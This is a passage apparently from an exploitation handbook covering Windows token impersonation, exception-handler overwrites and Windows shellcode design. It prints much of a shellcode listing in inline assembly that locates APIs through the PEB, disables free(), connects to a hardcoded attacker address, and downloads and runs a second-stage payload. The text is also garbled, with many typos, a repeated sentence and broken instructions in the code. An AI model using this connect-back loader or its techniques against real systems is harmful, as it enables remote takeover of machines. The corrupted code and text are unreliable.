get its hands on. Form SMB to SOAP, if you can tunnel DCE-RPC across it, 
you’ve enabled all Microsoft’s tools. In the examples, you can see a DCE-PRC 
over named pipe interface (ncacn_np), a DCE-RPC over Local RPC interface,  
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and a DCE-PRC over TCP interface. Named pipe, TCP, and UDP interfaces are 
all accessible remotely and should make your mouth water. 
 
Exploitation 
 
There are as many ways to exploit a remote DCOM service as there are to exploit 
a remote SunRPC service. You can do popen() or system() style attacks, try to 
access files on the file system, find buffer overflows or similar attacks, try to 
bypass authentication, or anything else you can think up that a remote server 
might be vulnerable to. The best tool currently publicly available for playing with 
RPC services is SPIKE. However, if you want to exploit remote DCE-RPC 
services, you will have to do a lot of work duplicating this protocol in the language 
of your choice. CANVAS (www.immunitysec.om/CANVAS/) duplicates ECE-RPC 
using Python. 

At first you may be tempted to use Microsoft’s internal APIs to do DCE-RPC 
or DCOM exploitation work , but in the long run, your inability to directly control the 
APIs will lead to shoddy exploits. Definitely keep to suing your own or an open 
source protocol implementation if possible. 
 
Tokens and Impersonation 
 
Tokens are exactly what they sound like—representations of access rights. In 
Windows, your access rights to things such as files or processes are not defined 
by a simple user/group/any permission set the way they are on Linux. Instead they 
use a flexible, and extremely poorly understood mechanism which relies on tokens. 
In the smallest sense, a token is simply a 32-bit integer, much like a file handle. 
The NT kernel maintains an internal structure per process that indicates what each 
token represents in terms of access rights. For example, when a process wants to 
spawn another process it must check to see if it can access the file it wants to 
spawn. 

Now, here is where things get complicated, because there are several types 
of tokens, and two tokens can affect each operation: the primary token, and the 
current thread token. The process was given the primary token when it started up. 
The current thread token can be obtained from another process or from the 
LogonUser() function. The LogonUser() function requires a username and 
password and returns a new token if it is successful. You can attach any given 
token to your current thread using SetThreadToken(token_to_attach) and remove 
it with RevertToSelf(), at which point the thread reverts to the primary token. 

For fun, load the Sysinternals(www.sysinternals.com) Process Explorer to a 
process and you’ll see several things: The primary token is printed out as ser 
Name and you may see one or more tokens with varying levels of access listed in 
the bottom pane. Figure 6.2 shows the various tokens in a process. 
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Getting a token from another process is simple: The kernel will give you the 
token of any process that is attached to a named pipe you created if you call 
ImpersonateNamePipiClient(). Likewise you can impersonate remote DCE-RPC 
clients or any client that gives you a username and password. 

For example, when a user connects to a Unix ftp server, that server is running 
as root, so it can use setuid() to change its user ID to whatever user the client 
authenticates as. With Windows, the user sends a username and password, and 
then the ftp server calls LogonUser() which returns a new token. It then spawns a 
new thread and that thread calls SetThread Token(new_token). When that thread 
is finished serving the client, it calls RevertToSelf() and joins the threadpool or 
calls ExitThread() and disappears. 

Think of this procedure as an opportunity for a hacker—in Unix when you’ve 
exploited an ftp server with a buffer overflow after authenticating, you cannot 
become root or any other user. In Windows, you will likely find tokens from all the 
users who have authenticated recently waiting in memory for you to grab them 
and use them. Of course, in many cases, the ftp server itself will be running as 
SYSTEM, and you call RevertToSelf() to gain that privilege. 
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One common misunderstanding surrounds CreateProcess(). A Unix hacker will 

often call execve(“/bin/sh”) as part of their shellcode, but under Windouss, 
CreateProcess() users the primary token as the token for the new process and 
uses the current thread token for all file access. This means that if the current 
primary token is of a lower access level than the token of the current thread, the 
new process may not be able to read or delete its own executable. 

A good illustration of this quirk Is what happens during an IIS attack. IIS’s 
external components run inside processes whose primary tokens are IUSR or 
IWAM rather than SYSTEM. However, these processes often have threads that 
run inside them as SYSTEM. When an overflow gives a hacker control of one of 
these threads and they download a file and CreateProcess() it they find 
themselves running as IUSR or IWAM, but the file is owned by SYSTEM. 

If you ever find yourself in this situation you have two options: you can use 
DuplicateTokenEx() to generate a new primary token, which you can assign to a 
CreateProcessAsUser() call, or you can do all your work from within your current 
thread by loading a DLL directly into memory or by using a simple shellcode that 
does whatever you need from within the original process. 

 
 

Exception Handling under Win32 
 
In Linux, exception handlers are typically global; in other words, per-process. You 
set an exception handler with the signal() system call, which gets called whenever 
an exception such as a segfault (or in Windows terminology, an AV) occurs In 
Windows, that global handler (in ntdll.dll) catches any and all exceptions and then 
performs a fairly complex routine in order to determine to where it gives control. 
Because the programming model under Windows NT is thread-focused, the 
exception-handling model is also thread-focused. 

Figure 6.3 may help explain exception handling under Windows NT. 
As you can see in the figure, the cmd.exe process has two threads. The 

second element of that structure (Structured Exception Handler [SEH]) is a 
function pointer. As shown in Figure 6.3, the pointer to the next handler is set to –l, 
indicating no more handlers. However, if the first handler should choose not to 
handle a given exception, then the next handler (if there is one) would do it, and so 
on. If no handler wants to accept the exception, then the default exception handler 
for the process handles it. Usually this results in the termination of the process. 
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As a hacker you should now see several ways to take control of this system via 

heap overflows or similar attacks that let you write a word into memory. You could 
certainly overwrite the pointer to the SEH chain. Every process in a Win32 
application has an operating system supplied SEH. The SEH is responsible for 
displaying the error box that tells the user that the application has terminated. If 
you happen to have a debugger running, then the SEH gives you an option to 
debug the application. Another possibility is to overwrite the function pointer for the 
handler on the stack, or you could overwrite the default exception handler. 

On Windows XP you have another option: Vectored Exception handling. 
Basically, it’s just another linked list that the exception handling code in ntdll.dll 
checks first. So now you have a global variable that gets called on every 
exception—perfect for overwriting. 
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Debugging Windows 
 
You have basically three options for debugging Windows: the Microsoft tool chain, 
WinDbg; a kernel debugger, SoftICE; or OllyDbg. You can also use Visual Studio 
if you’re so inclined. 

Of these options, SoftICE is perhaps one of the oldest and most powerful. 
SoftICE features a macro language and can debug kernelspace. The downside of 
SoftICE is that it can be nearly impossible to install, and the GUI is somewhat 
old-school. Its main use is for debugging new device drivers. For a long time it was 
the only choice for a hacker, and so several good texts are available on how to 
use it. While debugging the kernel, SoftICE sets all the pages to writable; be 
aware of this fact if a kernel, SoftICE sets all the pages to writable; be aware of 
this fact if a kernel overflow you are working with seems to work only while SoftICE 
is enabled. 

WinDbg can be set up to debug a kernel—although it requires a serial cable 
and another computer—but it can also be extremely good for debugging an 
overflow in user space. WinDbg has a primitive language, but the user interface is 
terrible—almost impossible to use quickly and accurately. Nevertheless, because 
Microsoft uses this debugger, it does have a few nifty advanced features, like 
automatic access to their symbol server. 

Just as SPIKE is the best fuzzer ever created, OllyDbg is the best debugger 
ever created. It supports amazing features such as run-traces (which alow you to 
execute backwards) memory searching, memory breakpoints( you can tell it to, for 
example, set a break every time someone accesses anything in MSVCRT.DLL’s 
global data space), smart data windows(such as the ones above displaying the 
thread structure), an assembler, a file patcher—basically everything you need. If 
WinDbg doesn’t support something you need, you can e-mail the author and the 
next version probably will. Spend some time attaching to processes with OllyDbg, 
then fuzzing them with SPIKE and analyzing their exceptions. This will get you 
quickly familiar with OllyDbg’s excellent GUI. 

 
 

Bugs in Win32 
 

There are many bugs in Win32, and many of these are undocumented and 
painfully discovered by people writing shellcode. For example, Load LibraryA(), 
which loads a DLL into memory, will fail if a period is in the PATH and the machine 
has not been patched for this particular bug. The WinSock routines will fail if the 
stack is not word aligned. Various other APIs are poorly documented on MSDN, if 
at all. 

The bottom line is: When your shellcode is not working, the reason could quite 
possibly be a bug in Windows, and you might have to simply work around it. 
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Writing Windows Shellcode 
 

Writing reliable Windows shellcode was for a long time a somewhat secret affair. 
The problem is that, unlike in Unix shellcode, you don’t have system calls with a 
known API. Instead, the process has loaded function pointers to external functions 
such as CreateProcess() or ReadFile() into various places in memory. But you, the 
attacker, don’t know where in memory these happen to be. Early shellcode just 
assumed they were in a certain place or guessed that they were in one of a few 
places. But this means that every time you create an exploit, you must version it 
across several different service packs or executables. 

The trick to writing reliable and reusable shellcode is that Windows stores a 
pointer to the process environment block at a known location: FS: [0x30]. That 
plus 0xc is the load order module list pointer. Now, you have a linked list of 
modules you can traverse to look for kernel32.dll. From that you can find 
LoadLibraryA() and GetProcAddress(), which will allow you to load any needed 
DLLs and fine the addresses of any other needed functions. You’ll want to go back 
and reread the PE-COFF document from Microsoft’s shellcode to do this. 

This technique, however, tends to result in huge shellcode. Shellcode using this 
technique can range from 300 to 800 bytes, depending on functionality. Halvar 
Flake’s code is highly optimized and is somewhere around 290 bytes. 
There is, of course, another way. Various Chinese hackers have been writing 
shellcode that hunts through memory for kernel32 by setting an exception handler. 
See various NSFOCUS exploits for this technique put into practice against IIS. 

Even this shellcode can be fairly large. Therefore, CANVAS uses a separate 
shellcode, which is 150 bytes encoded using CANYAS’s chunked additive 
encoder (similar to an XOR encoder/decoder but using addl instead of xorl), which 
simply uses exception handling to hunt through all the process memory for 
another set of shellcode prefixed with 8 bytes of tag value. This shellcode has 
proven to be highly reliable, and since you can put your main payload anywhere in 
memory, you don’t have to worry about space restrictions. 

 
 

A Hcker’s Guide to the Win32 API 
 

VrtualProtect()  sets the access control to a page of memory. Useful for 
changing .text segments to +w so that you can modify functions. 

SetDefaultExceptionHandler  Disassemble this to find the global exceptiong 
handler location for a given service pack. 
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TlsSetValue()/TlsGetValue()  Thread Local Storage is a space that each 
thread can use to store thread-specific variables (other than the stack or heap). 
Sometimes valuable pointers that your shellcode may want to ravage are 
located here. 

WSASocket()  Calling WSASocket() instead of socket() sets up a socket you 
can use directly as standard in or standard out. This technique can be used to 
make smaller shellcode if you’re using shellcode that spawns a cmd.exe. (The 
problem in socket handles created with socket() is in the SO_OPENTYPE 
attribute.) 
 
 

A Windows Family Tree from the Hacker’s Perspective 
 
Win9x/ME 

 No user or security infrastructure (largely obsolete). 

WinNT 
 Hugely buggy PRC libraries make owning PRC services easy—PRC 

data structures are not verified by default the way they are in Win2K, so 
almost any bad data will make them crash. 

 Doesn’t support some NTLMv2 and other authentication options, 
making sniffing nicer. 

 IIS 4.0 runs entirely as system and doesn’t reatart after it crashes. 

Win2K 
 NTLMv2 makes headway among entirely Win2K installation bases. 

 RPC libraries much less buggy than NT4.0(which isn’t saying much). 

 SP4—Exception registers are cleared. 

 IIS 5.0 runs as system, but most URL handlers don’t run as system      
(with the exception of FrontPage, WebDav, and the like). 

Win XP 
 Addition of Vectored Exception Handling makes things easier for heap 

overflows. 

 SP1—Exception registers are cleared. 

 IIS 5.1—URLs are limited to a reasonable size. 
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Windows 2003 Server 
 Entire OS compiled with stack canary, including kernel. 

 Parts of IIS moved into the kernel. 

 IIS 6.0 still written in C++, now runs under an entirely different setup 
with a management process and a bunch of managed processes, each 
of which can serve port 80/443 from particular URLs and virtual hosts. 

 Can finally detach from a process without it crashing. In previous 
version of Win32, if you attached to a process with the debugger, 
detaching would forcefully kill it. This was useful sometimes, but mostly 
just annoying. 

 

 

Conclusion 
 
In this chapter, you learned the basic differences between exploitation on 
Linux/Unix and Windows. The same high-level concepts such as syscalls and 
process memory are present on Windows, but from a hacker’s point of view, the 
implementation is grossly different. Armed with your knowledge of exploitation on 
Windows, you will be able to proceed to the next chapters, which cover Windows 
hacking in detail. 
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7 

Windows Shellcode 

One author’s girlfriend continually reminds him that “writing shellcode is the easy 
part.” And, in fact, it usually is –but like anything on Windows, it can also be an 
insanely frustrating part. Let’s review shellcode for a bit, and then delve into the 
oddities that make Windows shellcode so entertaining. Along the way, we’ll 
discuss the differences between AT&T and Intel syntax, how the various bugs in 
the Win32 system will affect you, and the direction of advanced Windows 
shellcode research. 
 
 
Syntax and Filters 
 
First, few Windows shellcodes are small enough to work without an 
encoder/decoder. In any case, if you are writing many exploits, you may want to 
involve a standardized encoder/decoder API to avoid constantly tweaking your 
shellcode. Immunity CANVAS uses an “additive” encoder/decoder. That is, it 
treats the shellcode as a list of unsigned longs, and for each unsigned long in the 
list, it adds a number X to it in order to create another unsigned long that has no 
bad characters in it. To find X, it randomly chooses numbers until one works. This 
sort of random structure works very shell; however, other people are just as happy 
with XOR or any other character- or word-based operation. 
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It’s important to remember that a decoder is just a function y=f(x) that expands 
x into a different character space. If x can only contain lowercase alphabetic 
characters, then f(x) could be a function that transforms lowercase characters into 
arbitrary binary characters and jumps to those, or it could be a function that 
transforms lowercase characters into uppercase characters and jumps to those. In 
other words, when you’re facing a really strict filter, you should not try to solve the 
whole problem all at once—it may be easier to convert your attack string into 
arbitrary binary in stages, using multiple decoders. 

In any case, we will ignore the decoder/encoder issue in this chapter. We 
assume that you know how to get arbitrary binary data into the process space and 
jump to it. Once you’ve become proficient at writing Linux shellcode, you should 
be reasonably competent at writing x86 assembly. I write Win32 shellcode the 
same way I write Linux shellcode, using the same tools. I find that if you learn to 
use only one toolset for your shellcode needs, your shellcoding life is easier in the 
long run. In my opinion, you don’t need to buy Visual Studio to write shellcode. 
Cygwin is a good shellcode creation tool, and it is freely available 
(www.cygwin.org/). Installing Cygwin can be a bit slow, so make sure you open a 
development tool (gcc, as, and others) when you install it. Many people prefer to 
use NASM or some other assembler to write their shellcode, but these tools can 
make writing routines and testing compilation difficult. 

 
 

X86 AT&T SYNTAX VERSUS INTEL SYNTAX                                 
 
There are two main differences between AT&T syntax and Intel syntax. 
The first is that AT&T syntax uses the mnemonic source, dest whereas 
Intel uses the mnemonic dest, source. This reversal can get confusing 
when translating to GNU’s gas (which uses AT&T) and OllyDbg or other 
Windows tools, which use Intel. Assuming you can switch operands 
around a comma in your head, one more important difference between 
AT&T and Intel syntax exists: addressing. 

Addressing in x86 is handled with two registers, an additive value, and 
a scale value, which can be 1,2,4, or 8. 

Hence, mov eax, [ecx+ebx*4+5000] (in Intel syntax for OllyDbg) is 
equivalent to mov 5000(%ecx,%ebx,4), %eax in GNU assembler syntax 
(AT&T). 

I would exhort you to learn and use AT&T syntax for one simple 
reason: It is unambiguous. Consider the statement mov eax, [ecx+ebx]. 
Which register is the base register, and which register is the scale 
register? This matters especially when trying to avoid characters, 
because switching the two registers, while they seem identical, will 
assemble into two totally different instructions. 
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Setting up 
 
Windows shellcode suffers from one major problem: Win32 offers no way to obtain 
direct access to the system call. Surprisingly, this peculiarity was deliberate. 
Typically all the things about Windows that make it awful are also the things that 
make it great. In this case, the Win32 designers can fix or extend a  buggy 
internal system call API without breaking any of the applications that use Win32’s 
higher-lever API. 

For a small piece of assembly code that happens to be running inside another 
program, your shellcode has its work cut out for it, as follows: 

 It must find the Win32 API functions it needs and build a call table. 

 It must load whatever libraries you need in order to get connectivity out. 

 It must connect to a remote server, download more shellcode, and execute 
it. 

 It must exit cleanly, resuming the process or simply terminating it nicely. 

 It must prevent other threads from killing it. 

 It must repair one or more heaps if it wants to make Win32 calls that use 
the heap. 

 
Finding the needed Win32 API functions used to be a simple matter of 

hardcoding either the addresses of the functions themselves or the addresses of 
GetProcAddressA() and LoadLibraryA() for a particular version of Windows into 
your shellcode. This method is still one of the quickest ways to write Win32 
shellcode, but suffers from being tied to a particular version of the executable or 
Windows version. However, as the slammer worm taught us, hardcoding of 
addresses can sometimes be a valuable shellcoding method. 

 
NOTE  The Slammer source code is widely available on the Internet, and 
provides a good example of hardcoded addresses. 

 
 
In order to prevent reliance on any particular state of the executable or OS, you 

must use other techniques. One way to find the location of functions is to emulate 
the method a normal DLL would use to link into a process. You could also search 
through memory for kernel32.dll to find the process environment block for 
kernel32.dll( this method is often used by Chinese shellcoders). Later in the 
chapter we will show you how to use the Windows exception-handling system to 
search through memory. 
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Parsing the PEB 
 

The code in the following example is taken from Windows shellcode originally 
used for the CANVAS product. Before we do a line-by-line analysis, you should 
know some of the design decisions that went into developing the shellcode: 

 Reliability was a key issue. It had to work every time, with no outside 
dependencies. 

 Extendibility was important. Understandable shellcode makes a big 
difference when you want to customize it in some way you didn’t foresee. 

 Size is always important with shellcode—the smaller the better. 
Compressing shellcode takes time, however, and may obfuscate the 
shellcode and make it unmanageable. For this reason, the shellcode 
shown below is quite large. We overcome the problem with the Structured 
Exception Handler (SEH) hunting shellcode, as you’ll see later. If you want 
to spend time learning x86 and squeezing down this shellcode, by all 
means, feel free. 

 
Note that because this is a simple C file that gcc can parse, it can be written and 
compiled equally as well on any x86 platform that gcc supports. Let’s take a 
line-by-line at the shellcode, heapoverflow.c, and see how it works. 
 
Heapoverflow.c Analysis 
 
Our first step is to include windows.h, so that if we want to write Win32-specific 
code for testing purposes—usually to get the value of some Win32 constant or 
structure—we can. 

 
//released under the GNU PUBLIC LICENSE v2.0 
#include <stdio.h> 
#include <malloc.h> 
#ifdef Win32 
#include <windows.h> 
#endif 

 
We start the shellcode function, which is just a thin wrapper around gcc asm() 
statements with several .set statements. These statements don’t produce any 
code or take up any space; they exist to give us an easily manageable place in 
which to store constants that we’ll use inside the shellcode. 
 

void 
getprocaddr() 
{ 
 /*GLOBAL DEFINES*? 
 asm(“ 
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.set KERNEL32HASH, 0x000d4e88 
.set NUMBEROFKERNEL32FUNCTIONS, 0x4 
.set VIRTUALPROTECTHASH, 0x38d13c 
.set GETPROCADDRESSHASH,0x00348bfa 
.set LOADLIBRARYAHASH, 0x000d5786 
.set GETSYSTEMDIRECTORYAHASH,  0x069bb2e6 
 
.set WS232HASH,  0x0003ab08 
.set NUMBEROFWS232FUNCTIONS, 0x5 
.set CONNECTHASH, 0x0000677c 
.set RECVHASH,  0x00000cc0 
.set SENDHASH,  0x00000cd8 
.set WSASTARTUPHASH, 0x00039314 
.set SOCKETHASH,  0x000036a4 
 
.set  msvcrthash,  0x00037908 
.set NUMBEROFMSVCRTFUNCTIONS,  0x01 
.set FREEHASH,   0x00000c4e 
 
.set ADVAPI32HASH,  0x000ca608 
.set NUMBEROFADVAPI32FUNCTIONS, 0x01 
.set REVERTTOSELFHASH, 0x000dcdb4 
 
“); 
 
Now, we start our shellcode. We are writing Position Independent Code (PIC), 

and the first thing we do is set %ebx to our current location. Then, all local 
variables are referenced from %ebx. This is much like how a real compiler would 
do it. 

 
/*START OF SHELLCODE*/ 
asm(“ 
 
mainentrypoint: 
call geteip 
geteip 
pop %ebx 
 
Because we don’t know where esp is pointing, we now have to normalize it to 

avoid stepping on ourselves whenever we do a call. This can actually be a 
problem even in the getPC code, so for exploits where %esp is pointing at you, 
you may want to include a sub $50, %esp before the shellcode. If you make the 
size of your scratch space too large (0x1000 is what I use here), then you’ll step 
off the end of the memory segment and cause an access violation trying to write to 
the stack. We chose a reasonable size here, which works reliably in most every 
situation. 

 
movl %ebx,%esp 
subl $0x1000,%esp 
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Weirdly enough, %esp must be aligned in order for some Win32 functions 
in ws2_32.dll to work(this actually may be a bug in ws2_32.dll). We do that 
here: 

and $0xffffff00, %esp 
 
We can finally start filling our function table. The first thing we do is get the 

address of the functions we need in kernel32.dll. We’ve split this into three 
calls to our internal function that will fill out our table for us. We set ecx to the 
number of functions in our hash list and enter a loop. Each time we go 
through the loop, we pass getfuncaddress(), the hash of kernel32.dll (don’t 
forget the .dll), and the hash of the function name we’re looking for. When the 
program returns the address of the function, we then put that into our table, 
which is pointed to by %edi. One thing to notice is that the method for 
addressing throughout the code is uniform. LABEL-geteip(%ebx) always 
points to the LABEL, so you can use that to easily access stored variables. 

 
// set up the loop 
movl $NUMBEROFKERNEL32FUNCTIONS, %ecx 
lea  KERNEL32HASHESTABLE-geteip(%ebx),%esi 
lea  KERNEL32FUNCTIONSTABLE-geteip(%ebx),%edi 
 
//run the loop 
getkernel132functions: 
//push the hash we are looking for, which is pointed to by %esi 
pushl $KERNEL32HASH 
call  getfuncaddress 
movl %eax, (%edi) 
addl  $4, %edi 
addl  $4, %edi 
loop getkernel32functions 
 
 
Now that we have our table filled with .dllkernel32.dll’s functions, we can 

get the functions we need from MSVCRT. You’ll notice the same loop 
structure here. We’ll delve into how the getfuncaddress() function works 
when we reach it. For now, just assume it works. 

 
//GET MSVCRT FUNCTIONS 
movl  $NUMBEROFMSVCRTFUNCTIONS, %ecx 
lea  MSVCRTHASHESTABLE-geteip (%ebx), %esi 
lea  MSVCRTFUNCTIONSTABLE-geteip(%ebx), %edi 
getmsvcrtfunctions: 
pushl  (%esi) 
pushl  $MSVCRTHASH 
call    getfuncaddress 
movl  %eax, (%edi) 
addl  %4, %edi 
addl  %4, %edi 
loop getmsvcrtfunctions 
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With heap overflows, you corrupt a heap in order to gain control. But if you 

are not the only thread operating on the heap, you may have problems as 
other threads attempt to free() memory they allocated on that heap. To 
prevent this, we modify the function free() so that it just returns. Opcode 0xc3 
is returned, which we use to replace the function prelude. 

To do what is described in the previous paragraph, we need to change the 
protection mode on the page in which the function free() appears. Like most 
pages that have executable code in them, the page containing free() is 
marked as read and execute only—we must set the page to +rwx.Virtual – 
Protect is in MSVCRT, so we should already have it in our function pointer 
table. We temporarily store a pointer to free() in our internal data structures 
(we never bother to reset the permissions on the page). 

 
//QUICKLY! 
//VIRTUALPROTECT FREE +rwx 
lea BUF-geteip(%ebx), %eax 
pushl %eax 
pushl %0x40 
pushl $50 
movl FREE-geteip(%ebx),%edx 
push1 %edx 
call *VIRTUALPROTECT-geteip(%ebx) 
//restore edx as FREE 
movl FREE-geteip(%ebx), %edx 
//overwrite it with return! 
movl $0xc3c3c3c3, (%edx) 
//we leave it +rwx 
 
Now, free() no longer accesses the heap at all, it just returns. This 

prevents any other threads from causing access violations while we control 
the program. 

At the end of our shellcode is the string ws2_32.dll. We want to load it (in 
case it is not already loaded), initialize it, and use it to make a connection to 
our host, which will be listening on a TCP port. Unfortunately we have several 
problems ahead of us. In some exploits, for example the PRC LOCATOR 
exploit, you cannot load ws2_32.dll unless you call RevertToSelf() first. This 
is because the “anonymous” user does not have permissions to read any files, 
and the locator thread you are in has temporally impersonated the 
anonymous user to handle your request. So we have assume ADVAPI.dll is 
loaded and use it to find RevertToSelf. It is a rare Windows program that 
doesn’t have ADVAPI.dll loaded, but if it is not loaded, this part of the 
shellcode will crash. You could add a check to see if the function pointer for 
RevertToSelf is zero and call it only if it is not. This check wasn’t done here, 
because we’ve never needed it, and only adds a few more bytes to the size 
of the shellcode. 
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//Now, we call the RevertToSelf() function so we can actually do some// thing on the 
machine 
//You can’t read ws2_32.dll in the locator exploit without this. 
movl $NUMBEROFADVAPI32FUNCTIONS, %ecx 
lea ADVAPI32HASHESTABLE-geteip(%ebx), %esi 
lea ADVAPI32FUNCTIONSTABLE-geteip(%ebx), %edi 
 
getadvapi32functions: 
pushl  (%esi) 
pushl  $ADVAPI32HASH 
call getfuncaddress 
movl  %eax, (%edi) 
addl  $4, %esi 
addl  $4, %edi 
loop getadvapi32functions 
 
call *REVERTTOSELF-geteip(%ebx) 
 
Now that we’re running as the original process’s user, we have permission 

to read ws2_32.dll. But on some Windows systems, because of the dot (.) in 
the path, LoadLibraryA() will fail to find ws2_32.dll unless the entire path is 
specified. This means we now have to call GetSystemDirectoryA() and 
prepend that to the string ws2_32.dll. We do this in a temporary buffer (BUF) 
at the end of our shellcode. 

 
//call gesystemdirectoryA, then prepend to ws2_32.dll 
push1 #2048 
lea BUF-geteip(%ebx),%eax 
pushl %eax 
call *GETSYSTEMDIRECTORY-geteip(%ebx) 
//ok, now buf is loaded with the current working system directory 
//we now need to append \\WS2_32.dll to that, because 
//of a bug in LoadLibraryA, which won’t find WS2_32.dll if there is a  
//dot in that path 
lea BUF-geteip(%ebx), %eax 
findendofsystemroot: 
cmpb $0, (%eax) 
je foundendofsystemroot 
inc %eax 
jmp findendofsystemroot 
foundendofsystemroot: 
//eax is now pointing to the final null of C:\\windows\\system32 
lea WS2_32DLL-geteip(%ebx), %esi 
strcpyintobuf: 
movb (%esi), %dl 
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movb %dl, (%eax) 
test %dl, %dl 
jz donewithstrcpy 
inc %esi 
inc %eax 
jmp strcpyintobuf 
donewithstrcpy: 
 
//loadlibraaya(\”c:\\winnt\\system32\\ws2_32.dll\”); 
lea BUF-geteip(%ebx), %edx 
pushl %edx 
call *LOADLIBRARY-geteip(%ebx) 
 
Now that we know for certain that ws2_32.dll has loaded, we can load the 

functions from it that we will need for connectivity. 
 
movl $NUMBEROFWS232FUNCTIONS, %ecx 
lea WS232HASHESTABLE-geteip(%ebx), %esi 
lea WS232FUNCTIONSTABLE-geteip(%ebx),%edi 
 
getws232functions: 
//get getprocaddress 
//hash of getprocaddress 
pushl (%esi) 
//push hash of KERNEL32.dll 
pushl $WS232HASH 
call getfuncaddress 
movl %eax, (%edi) 
addl $4, %esi 
addl $4, %edi 
loop getws232functions 
 
//ok, now we set up BUFADDR on a quadword boundary 
//esp will do since it points far above our current position 
movl %esp, BUFADDR-geteip(%ebx) 
//done setting up BUFADDR 
 
Of course, you must call WSASTARTUP to get ws2_32.dll rolling. If 

ws2_32.dll has already been initialized, then calling WSASTARTUP won’t do 
anything hazardous. 

 
movl BUFADDR-geteip(%ebx), %eax 
pushl %eax 
pushl $0x101 
call *WSASTARTUP-geteip(%ebx) 
 
//call socket 
pushl $6 
pushl $1 
pushl $2 
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call *SOCKET-geteip(%ebx) 
movl %eax, FDSPOT-geteip(%ebx) 
 
Now, we call connect(), which uses the address we have hardcoded into 

the bottom of the shellcode. For real-world use, you’d do a search and 
replace on the following piece of the shellcode, changing the address to 
another IP and port as needed. If the connect() fails, we jump to exitthread 
which will simply cause an exception and crash. Sometimes you’ll want to call 
ExitProcess() and sometimes you’ll want to cause an exception for the 
process to handle. 

 
//call connect 
//push addrlen=16 
push $0x10 
lea SockAddrSPOT-geteip(%ebx), %esi 
//the 4444 is our port 
pushl %esi 
//push fd 
pushl %eax 
call *CONNECT-geteip(%ebx) 
test %eax, %eax 
jl exitthread 
 
Next, we read in the size of the second-stage shellcode from the remote 

server. 
 
pushl $4 
call recvloop 
//ok, now the size is the first word in BUF 
//Now that we have the size, we read in that much shellcode into the //buffer. 
movl BUFADDR-geteip(%ebx), %edx 
movl (%edx), %edx 
//now edx has the size 
push %edx 
//read the data into BUF 
call recvloop 
//Now we just execute it. 
movl BUFADDR-geteip(%ebx), %edx 
call *%edx 
 
At this point, we’ve given control over to our second-stage shellcode. In 

most cases, the second-stage shellcode will go through much of the previous 
processes again. 

Next, let’s look at some of the utility functions we’ve used throughout our 
sehllcode. The following code shows the recvloop function, which takes in the 
size and uses some of our “global” variables to control into where it reads 
data. Like the connect() function, recvloop jumps to the exitthread code if it 
finds an error. 
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//recvloop function 
asm(“ 
//START FUNCTION RECVLOOP 
//arguments: size to be read 
//reads into *BUFADDR 
recvloop: 
pushl %ebp 
movl %esp,%ebp 
push %edx 
push %edi 
//get arg1 into edx 
movl 0x8(%ebp), %edx 
movl BUFADDR-geteip(%ebx), %edi 
 
callrecvloop: 
//not an argument- but recv() messes up edx! So we save it off here pushl %edx 
//flags 
pushl %edx 
//flags 
pushl $0 
//len 
pushl $1 
//*buf 
pushl %edi 
movl FDSPOT-geteip(%ebx), %eax 
pushl %eax 
call *RECV-geteip(%ebx) 
//prevents getting stuck in an endless loop if the server closes the connection 
cmp $0xffffffff, %eax 
je exitthread 
 
 
popl %edx 
 
//subtract how many we read 
sub %eax, %edx 
//move buffer pointer forward 
add %eax, %edi 
//test if we need to exit the function 
//recv returned 0 
test %eax, %eax 
je donewithrecvloop 
//we read all the data we wanted to read 
test %edx, %edx 
je donewithrecvloop 
jmp callrecvloop 
 
 
 
donewithrecvloop: 
//done with recvloop 
pop %edi 
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pop %edx 
mov %ebp, %esp 
pop %ebp 
ret $0x04 
//END FUNCTION 
 
The next function gets a function pointer address from a bash for the DLL 

and the function name. It is probably the most confusing function in the entire 
shellcode since it does the most work and is fairly unconventional. It relies on 
the fact that when a Windows program is running, fs:[0x30] is a pointer to the 
Process Environment Block (PEB), and form that you can find all the modules 
that are loaded into memory. We walk each module looking for one that has 
the name kernel32.dll.dll by doing a hash compare. Our hash function has a 
simple flag that allows it to hash Unicode or straight ASCII strings. 

Be aware that many published methods are available to run this 
process—some more compact that others. Halvar Flake’s code, for example, 
uses 16-bit hash values to conserve space; there are many ways to parse a 
PE header to get the pointers we’re looking for. Additionally, you don’t have 
to parse the PE header to get every function—you could parse it to get 
GetProcAddress() and use that to get everything else. 

 
/* fs[0x30] is pointer to PEB 
 *that + 0c is _PEB_LDR_DATA pointer 
 *that + 0c is in load order module list pointer 
 
For further reference, see: 

 www.builder.cz/art/asembler/anti_procdump.html 

 www.onebull.org/document/doc/win2kmodules.htm 

Generally, you will follow these steps: 

1. Get the PE Header from the current module(fs:0x30). 

2. Go to the PE header. 

3. Go to the export table and obtain the value of nBase. 

4. Get arrayOfNames and find the function. 

*/ 
 
//void* GETFUNCADDRESS( int hash1, int hash2) 
 
/*START OF CODE THAT GETS THE ADDRESSES*/ 
//arguments 
//hash of dll 
//hash of function 
//returns function address 
getfuncaddress: 
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push1 %ebp 
movl %esp, %ebp 
pushl %ebx 
pushl %esi 
pushl %edi 
pushl %ecx 
 
 
 
pushl %fs(0x30) 
popl %eax 
//test %eax, %eax 
//JS WIN9X 
NT: 
//get _PEB_LDR_DATA ptr 
movl 0xc(%eax), %eax 
//get first module pointer list 
movl 0xc(%eax),%ecx 
 
 
 
 
nextinlist: 
//next in the list into %edx 
movl (%ecx), %edx 
//this is the Unicode name of our module 
movl 0x30(%ecx), %eax 
//compare the unicode string at %eax to our string 
//if it matches KERNEL32.dll, then we have our module address at 0x18+%ecx 
//call hash match 
//push unicode increment value 
pushl $2 
//push hash 
movl 8(%ebp), %edi 
pushl %edi 
//push string address 
pushl %eax 
call hashit 
test %eax, %eax 
jz foundmodule 
//otherwise check the next node in the list 
movl %edx, %ecx 
jmp nextinlist 
 
//FOUND THE MODULE, GET THE PROCEDURE 
foundmodule: 
//we are pointing to the winning list entry with ecx 
//get the base address 
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movl 0x18(%ecx), %eax 
//we want to save this off since this is our base that we will have to add 
push %eax 
//ok, we are now pointing at the start of the module (the MZ for  
//the dos header IMAGE_DOSHEADER.e_lfanew is what we want 
//to go parse (the PE header itself) 
movl 0x3c(%eax),%ebx) 
addl %ebx, %eax 
//%ebx is now pointing to the PE header (ascii PE) 
//PE->export table is what we want 
//0x150-0xd8=0x78 according to OllyDbg 
movl 0x78 (%eax), %ebx 
//eax is now the base again! 
pop %eax 
push %eax 
addl %eax, %ebx 
//this eax is now the Export Directory Table 
//From MS PE-COFF table, 6.3.1 )search for pecoff at MS Site to download) 
//Offset Size Field     Description 
//16 4 Ordinal Base   (usually set to one!) 
